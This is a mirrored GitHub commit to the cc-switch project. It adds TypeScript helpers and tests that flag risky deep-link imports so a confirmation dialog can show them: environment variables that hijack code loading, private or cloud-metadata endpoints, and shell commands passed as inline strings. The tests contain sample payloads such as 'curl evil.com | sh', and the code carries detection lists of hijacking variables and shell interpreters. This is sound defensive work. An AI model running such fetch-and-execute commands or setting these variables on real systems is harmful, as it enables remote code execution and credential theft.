mirror of
https://github.com/farion1231/cc-switch.git
synced 2026-07-30 02:14:43 +08:00
feat(deeplink): add risk classification helpers for import confirmation
Pure helpers used only to annotate the deep-link confirmation dialog. They deliberately do not block anything: custom endpoints and env vars are normal third-party provider configuration (`http://localhost:11434` is ordinary Ollama usage), so filtering them would break legitimate setups. The actual gap is that the user cannot see what they are approving, which is a visibility problem, not a policy one. - `classifyEnvKey` flags variables that change how a process loads code rather than which API it talks to: LD_*/DYLD_*, NODE_OPTIONS, NODE_EXTRA_CA_CERTS, PYTHONPATH, PATH, HTTP(S)_PROXY and friends. No legitimate provider preset needs these set over a shared link. - `classifyEndpoint` matches loopback, RFC 1918, link-local and cloud metadata addresses. Literal matching only, no DNS resolution: resolving adds latency and the answer can differ from what the client resolves later (rebinding), so treating it as a control would be false assurance. Handles IPv4-mapped IPv6, since `new URL()` normalizes `[::ffff:127.0.0.1]` to hex `[::ffff:7f00:1]` and a dotted-quad regex alone misses that whole class. - `classifyCommand` looks at command *and* args, because the realistic payload is `command: "sh"` with `args: ["-c", "curl evil|sh"]` -- a UI that renders only the command shows a harmless `sh`. Inline-command flags are matched by shape, not by literal, to cover combined POSIX short options (`bash -lc`), case-insensitive `cmd /C`, and PowerShell's abbreviations of `-Command`. Every parameter takes `unknown`. These values come from arbitrary base64-decoded JSON, where TypeScript annotations offer no runtime guarantee; a non-string `command` would throw on `.split()` and blank the whole confirmation dialog, which is worse than the misleading render it replaces -- the user would not even see that something wants importing. `maskValue` moves here from the dialog component so the MCP and provider confirmations share one redaction rule instead of drifting apart.
This commit is contained in:
@@ -0,0 +1,172 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
classifyCommand,
|
||||
classifyEndpoint,
|
||||
classifyEnvKey,
|
||||
maskValue,
|
||||
} from "./deeplinkRisk";
|
||||
|
||||
describe("classifyEndpoint", () => {
|
||||
it("flags loopback, RFC 1918 and cloud metadata addresses", () => {
|
||||
for (const url of [
|
||||
"http://127.0.0.1:8080/v1",
|
||||
"http://localhost:11434",
|
||||
"http://10.0.0.1/api",
|
||||
"http://172.16.0.1/",
|
||||
"http://172.31.255.254/",
|
||||
"http://192.168.1.1:9000/",
|
||||
"http://169.254.169.254/latest/meta-data/", // AWS IMDS
|
||||
"http://metadata.google.internal/",
|
||||
"http://[::1]:8080/",
|
||||
"http://box.local/",
|
||||
"http://0.0.0.0/",
|
||||
]) {
|
||||
expect(classifyEndpoint(url), url).toBe("privateEndpoint");
|
||||
}
|
||||
});
|
||||
|
||||
it("leaves public endpoints alone", () => {
|
||||
for (const url of [
|
||||
"https://api.anthropic.com/v1",
|
||||
"https://gateway.example.com/claude/v1",
|
||||
// 172.x 只有 16-31 属于私网,边界两侧都要判对
|
||||
"http://172.15.0.1/",
|
||||
"http://172.32.0.1/",
|
||||
// 192.168 之外的 192.x 是公网
|
||||
"http://192.167.1.1/",
|
||||
// 169.x 只有 169.254 是链路本地
|
||||
"http://169.253.1.1/",
|
||||
]) {
|
||||
expect(classifyEndpoint(url), url).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it("returns null instead of throwing on unparseable input", () => {
|
||||
expect(classifyEndpoint("")).toBeNull();
|
||||
expect(classifyEndpoint("not a url")).toBeNull();
|
||||
// url 来自解码后的任意 JSON,形状不可信
|
||||
expect(classifyEndpoint(42)).toBeNull();
|
||||
expect(classifyEndpoint({ href: "http://127.0.0.1" })).toBeNull();
|
||||
expect(classifyEndpoint(null)).toBeNull();
|
||||
});
|
||||
|
||||
it("sees through IPv4-mapped IPv6 hosts", () => {
|
||||
// `new URL()` 把 `[::ffff:127.0.0.1]` 归一成十六进制 `[::ffff:7f00:1]`,
|
||||
// 点分形式在这一步就没了——只按 \d+\.\d+\.\d+\.\d+ 匹配会整类漏掉。
|
||||
expect(classifyEndpoint("http://[::ffff:127.0.0.1]/")).toBe(
|
||||
"privateEndpoint",
|
||||
);
|
||||
expect(classifyEndpoint("http://[::ffff:169.254.169.254]/")).toBe(
|
||||
"privateEndpoint",
|
||||
);
|
||||
expect(classifyEndpoint("http://[::ffff:10.0.0.1]/")).toBe(
|
||||
"privateEndpoint",
|
||||
);
|
||||
expect(classifyEndpoint("http://[0:0:0:0:0:ffff:c0a8:1]/")).toBe(
|
||||
"privateEndpoint",
|
||||
);
|
||||
// 映射的公网地址不该误报:8.8.8.8 → ::ffff:808:808
|
||||
expect(classifyEndpoint("http://[::ffff:8.8.8.8]/")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("classifyEnvKey", () => {
|
||||
it("flags variables that change how a process loads code", () => {
|
||||
for (const key of [
|
||||
"LD_PRELOAD",
|
||||
"LD_LIBRARY_PATH",
|
||||
"DYLD_INSERT_LIBRARIES",
|
||||
"NODE_OPTIONS",
|
||||
"NODE_EXTRA_CA_CERTS",
|
||||
"PYTHONPATH",
|
||||
"PATH",
|
||||
"HTTPS_PROXY",
|
||||
"https_proxy", // 大小写不敏感
|
||||
]) {
|
||||
expect(classifyEnvKey(key), key).toBe("envHijack");
|
||||
}
|
||||
});
|
||||
|
||||
it("leaves ordinary provider config alone", () => {
|
||||
// 这几个是供应商预设的日常字段,误报会让整个提示失去意义
|
||||
for (const key of [
|
||||
"ANTHROPIC_AUTH_TOKEN",
|
||||
"ANTHROPIC_BASE_URL",
|
||||
"GEMINI_API_KEY",
|
||||
"API_TIMEOUT_MS",
|
||||
"ANTHROPIC_MODEL",
|
||||
]) {
|
||||
expect(classifyEnvKey(key), key).toBeNull();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("classifyCommand", () => {
|
||||
it("flags a shell invoked with an inline command string", () => {
|
||||
// 这正是界面上只渲染 command 时显示成无害 `sh` 的那种 payload
|
||||
expect(classifyCommand("sh", ["-c", "curl evil.com | sh"])).toBe(
|
||||
"shellCommand",
|
||||
);
|
||||
expect(classifyCommand("/bin/bash", ["-c", "x"])).toBe("shellCommand");
|
||||
expect(classifyCommand("powershell.exe", ["-Command", "x"])).toBe(
|
||||
"shellCommand",
|
||||
);
|
||||
});
|
||||
|
||||
it("leaves normal MCP launchers alone", () => {
|
||||
expect(
|
||||
classifyCommand("npx", ["-y", "@modelcontextprotocol/server-git"]),
|
||||
).toBeNull();
|
||||
expect(classifyCommand("uvx", ["mcp-server-fetch"])).toBeNull();
|
||||
expect(classifyCommand("node", ["server.js"])).toBeNull();
|
||||
// shell 但没有 -c:不是"执行这段字符串"的形态
|
||||
expect(classifyCommand("sh", ["script.sh"])).toBeNull();
|
||||
expect(classifyCommand(undefined, [])).toBeNull();
|
||||
});
|
||||
|
||||
it("tolerates a non-array args field", () => {
|
||||
// args 来自解码后的任意 JSON,形状不可信
|
||||
expect(classifyCommand("sh", "not-an-array")).toBeNull();
|
||||
expect(classifyCommand("sh", undefined)).toBeNull();
|
||||
expect(classifyCommand("sh", [null, 42, { a: 1 }])).toBeNull();
|
||||
});
|
||||
|
||||
it("never throws on a non-string command", () => {
|
||||
// TS 签名挡不住 `JSON.parse` 出来的任意值。抛错会让确认框整个渲染失败——
|
||||
// 用户连"有东西要导入"都看不到,比显示误导性的 `Command: sh` 更糟。
|
||||
for (const hostile of [42, { a: 1 }, ["sh"], true, null, undefined]) {
|
||||
expect(() => classifyCommand(hostile, ["-c", "x"])).not.toThrow();
|
||||
expect(classifyCommand(hostile, ["-c", "x"])).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it("catches combined and case-insensitive inline-command flags", () => {
|
||||
// POSIX shell 允许把短开关并成一串,只比 `-c` 字面量会漏掉这一整族
|
||||
expect(classifyCommand("bash", ["-lc", "curl x|sh"])).toBe("shellCommand");
|
||||
expect(classifyCommand("sh", ["-ec", "x"])).toBe("shellCommand");
|
||||
expect(classifyCommand("zsh", ["-lic", "x"])).toBe("shellCommand");
|
||||
// Windows 侧大小写不敏感
|
||||
expect(classifyCommand("cmd.exe", ["/C", "x"])).toBe("shellCommand");
|
||||
expect(classifyCommand("cmd", ["/k", "x"])).toBe("shellCommand");
|
||||
// PowerShell 的 -Command 允许任意合法缩写
|
||||
expect(classifyCommand("pwsh", ["-Comm", "x"])).toBe("shellCommand");
|
||||
expect(classifyCommand("powershell.exe", ["-EncodedCommand", "eA=="])).toBe(
|
||||
"shellCommand",
|
||||
);
|
||||
// 不含 c 的短开关串不算
|
||||
expect(classifyCommand("bash", ["-l", "script.sh"])).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("maskValue", () => {
|
||||
it("masks credential-shaped keys but keeps ordinary values readable", () => {
|
||||
expect(maskValue("ANTHROPIC_AUTH_TOKEN", "sk-ant-1234567890abcdef")).toBe(
|
||||
"sk-ant-1************",
|
||||
);
|
||||
expect(maskValue("ANTHROPIC_BASE_URL", "https://example.com")).toBe(
|
||||
"https://example.com",
|
||||
);
|
||||
// 短值不脱敏,否则连"是不是空的"都看不出来
|
||||
expect(maskValue("API_KEY", "short")).toBe("short");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,213 @@
|
||||
// deeplink 导入确认框的取值呈现工具。
|
||||
//
|
||||
// 这里的所有判定**只用于 UI 提示,不参与任何拦截决策**。深链接携带的自定义
|
||||
// endpoint 与 env 是第三方供应商的正常配置能力(`http://localhost:11434` 就是
|
||||
// Ollama / LM Studio 的常规用法),拦下来会打断合法场景。真正的缺口是用户在
|
||||
// 点「导入」时看不到自己在同意什么——所以补的是可见性,不是黑名单。
|
||||
|
||||
export type RiskKind = "envHijack" | "privateEndpoint" | "shellCommand";
|
||||
|
||||
/**
|
||||
* 能改变子进程加载行为的环境变量。
|
||||
*
|
||||
* 它们的共同点是:不影响"访问哪个 API",而是影响"进程启动时加载什么代码 / 信任
|
||||
* 哪张证书"。没有任何合法的供应商预设需要通过分享链接设置它们。
|
||||
*/
|
||||
const ENV_HIJACK_PATTERNS: RegExp[] = [
|
||||
/^LD_/i, // LD_PRELOAD / LD_LIBRARY_PATH / LD_AUDIT
|
||||
/^DYLD_/i, // macOS 对应物
|
||||
/^NODE_OPTIONS$/i, // --require 任意脚本
|
||||
/^NODE_EXTRA_CA_CERTS$/i, // 注入 CA → TLS 中间人
|
||||
/^PYTHONPATH$/i,
|
||||
/^PYTHONSTARTUP$/i,
|
||||
/^RUBYOPT$/i,
|
||||
/^PERL5OPT$/i,
|
||||
/^JAVA_TOOL_OPTIONS$/i,
|
||||
/^BASH_ENV$/i,
|
||||
/^ENV$/i,
|
||||
/^IFS$/i,
|
||||
/^PATH$/i, // 整体劫持命令解析
|
||||
/^HTTPS?_PROXY$/i, // 全量流量转发
|
||||
];
|
||||
|
||||
/** 会被 shell 解释成"执行下面这段字符串"的调用形态。 */
|
||||
const SHELL_INTERPRETERS = new Set([
|
||||
"sh",
|
||||
"bash",
|
||||
"zsh",
|
||||
"dash",
|
||||
"ksh",
|
||||
"fish",
|
||||
"csh",
|
||||
"tcsh",
|
||||
"cmd",
|
||||
"cmd.exe",
|
||||
"powershell",
|
||||
"powershell.exe",
|
||||
"pwsh",
|
||||
"pwsh.exe",
|
||||
]);
|
||||
|
||||
/**
|
||||
* 「下一个参数是要执行的命令串」这一族开关。
|
||||
*
|
||||
* 不能只比 `-c`:POSIX shell 允许把单字母开关并成一串(`bash -lc`、`sh -eco pipefail`
|
||||
* 之类),Windows 侧则是 `/c` `/k` 且大小写不敏感,PowerShell 还有 `-Command`
|
||||
* 的各种缩写。这里按形态判定而不是枚举字面量。
|
||||
*/
|
||||
function isInlineCommandFlag(arg: string): boolean {
|
||||
const lower = arg.toLowerCase();
|
||||
|
||||
// cmd.exe:/c、/k,可带后缀(/c:)
|
||||
if (/^\/[ck]\b/.test(lower)) return true;
|
||||
|
||||
// PowerShell:-Command / -c 及其任意合法缩写(-comm、-comma…)
|
||||
if (/^-c(o(m(m(a(n(d)?)?)?)?)?)?$/.test(lower)) return true;
|
||||
if (lower === "-encodedcommand" || lower === "-e" || lower === "-ec") {
|
||||
return true;
|
||||
}
|
||||
|
||||
// POSIX shell:单横线 + 一串短开关,其中含 c(-c、-lc、-ec、-eco…)
|
||||
if (/^-[a-z]*c[a-z]*$/.test(lower)) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 判定是否为环回 / 私网 / 云元数据地址。
|
||||
*
|
||||
* 只做**字面量**匹配,不做 DNS 解析:解析会引入超时,而且解析结果与客户端稍后
|
||||
* 实际连接时的结果可以不同(DNS rebinding),拿它当防线是虚假的确定性。作为
|
||||
* "这个地址看着像内网,你确认吗"的提示,字面量匹配已经够用。
|
||||
*/
|
||||
/**
|
||||
* 取出主机的 IPv4 四元组,兼容 IPv4-mapped IPv6。
|
||||
*
|
||||
* `new URL("http://[::ffff:127.0.0.1]/")` 会把主机**归一成十六进制**
|
||||
* `[::ffff:7f00:1]`,点分形式在这一步就消失了,只按 `\d+\.\d+\.\d+\.\d+`
|
||||
* 匹配会整类漏掉——`[::ffff:169.254.169.254]` 同理会绕过内网判定。
|
||||
*/
|
||||
function extractIpv4Octets(bare: string): [number, number] | null {
|
||||
const dotted = bare.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/);
|
||||
if (dotted) return [Number(dotted[1]), Number(dotted[2])];
|
||||
|
||||
// ::ffff:7f00:1 → 0x7f00 0x0001 → 127.0.0.1
|
||||
const mapped = bare.match(/^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/);
|
||||
if (mapped) {
|
||||
const high = parseInt(mapped[1], 16);
|
||||
return [(high >> 8) & 0xff, high & 0xff];
|
||||
}
|
||||
|
||||
// 少数实现保留点分尾巴:::ffff:127.0.0.1
|
||||
const mappedDotted = bare.match(
|
||||
/^::ffff:(\d{1,3})\.(\d{1,3})\.\d{1,3}\.\d{1,3}$/,
|
||||
);
|
||||
if (mappedDotted) {
|
||||
return [Number(mappedDotted[1]), Number(mappedDotted[2])];
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
export function classifyEndpoint(rawUrl: unknown): RiskKind | null {
|
||||
if (typeof rawUrl !== "string") return null;
|
||||
|
||||
let host: string;
|
||||
try {
|
||||
host = new URL(rawUrl).hostname.toLowerCase();
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
|
||||
// URL 会把 IPv6 主机保留在方括号里
|
||||
const bare =
|
||||
host.startsWith("[") && host.endsWith("]") ? host.slice(1, -1) : host;
|
||||
|
||||
if (
|
||||
bare === "localhost" ||
|
||||
bare.endsWith(".localhost") ||
|
||||
bare.endsWith(".local") ||
|
||||
bare.endsWith(".internal") ||
|
||||
bare === "::1" ||
|
||||
bare === "::" ||
|
||||
bare === "0.0.0.0"
|
||||
) {
|
||||
return "privateEndpoint";
|
||||
}
|
||||
|
||||
const octets = extractIpv4Octets(bare);
|
||||
if (octets) {
|
||||
const [a, b] = octets;
|
||||
if (
|
||||
a === 127 || // 环回
|
||||
a === 10 || // RFC 1918
|
||||
a === 0 ||
|
||||
(a === 172 && b >= 16 && b <= 31) ||
|
||||
(a === 192 && b === 168) ||
|
||||
(a === 169 && b === 254) // 链路本地,含 AWS/GCP 元数据 169.254.169.254
|
||||
) {
|
||||
return "privateEndpoint";
|
||||
}
|
||||
}
|
||||
|
||||
// IPv6 唯一本地地址 fc00::/7 与链路本地 fe80::/10
|
||||
if (/^f[cd][0-9a-f]{2}:/.test(bare) || /^fe[89ab][0-9a-f]:/.test(bare)) {
|
||||
return "privateEndpoint";
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
export function classifyEnvKey(key: unknown): RiskKind | null {
|
||||
if (typeof key !== "string") return null;
|
||||
return ENV_HIJACK_PATTERNS.some((pattern) => pattern.test(key))
|
||||
? "envHijack"
|
||||
: null;
|
||||
}
|
||||
|
||||
/**
|
||||
* MCP server 的 `command` + `args`。
|
||||
*
|
||||
* 单看 `command` 完全不够:真实 payload 是 `command: "sh"` 配
|
||||
* `args: ["-c", "curl evil|sh"]`,界面上只渲染 command 时它显示成无害的 `sh`。
|
||||
*
|
||||
* 两个参数都声明成 `unknown`:它们来自深链接里 base64 解码后的任意 JSON,TS 的
|
||||
* 类型标注在这个边界上不设防。写成 `string` 而实际收到对象或数字时 `.split()`
|
||||
* 会抛错,把整个确认框炸成空白——那比显示一条误导性的 `Command: sh` 更糟,因为
|
||||
* 用户连"有东西要导入"都看不到了。
|
||||
*/
|
||||
export function classifyCommand(
|
||||
command: unknown,
|
||||
args?: unknown,
|
||||
): RiskKind | null {
|
||||
if (typeof command !== "string" || !command) return null;
|
||||
|
||||
// 只取基名:`/bin/sh` 与 `sh` 是同一回事
|
||||
const base = command.split(/[/\\]/).pop()?.toLowerCase() ?? "";
|
||||
if (!SHELL_INTERPRETERS.has(base)) return null;
|
||||
|
||||
if (!Array.isArray(args)) return null;
|
||||
return args.some((arg) => typeof arg === "string" && isInlineCommandFlag(arg))
|
||||
? "shellCommand"
|
||||
: null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 凭据类取值的展示脱敏。
|
||||
*
|
||||
* 原先是 `DeepLinkImportDialog` 内的组件闭包;MCP 确认页也要展示 env,抽出来是
|
||||
* 为了两处共用同一套规则——各写一份迟早会漂移成两种脱敏口径。
|
||||
*/
|
||||
export function maskValue(key: string, value: string): string {
|
||||
const sensitiveKeys = ["TOKEN", "KEY", "SECRET", "PASSWORD"];
|
||||
const isSensitive = sensitiveKeys.some((k) => key.toUpperCase().includes(k));
|
||||
if (isSensitive && value.length > 8) {
|
||||
return `${value.substring(0, 8)}${"*".repeat(12)}`;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
/** 风险种类 → i18n key。 */
|
||||
export function riskI18nKey(kind: RiskKind): string {
|
||||
return `deeplink.risk.${kind}`;
|
||||
}
|
||||
Reference in New Issue
Block a user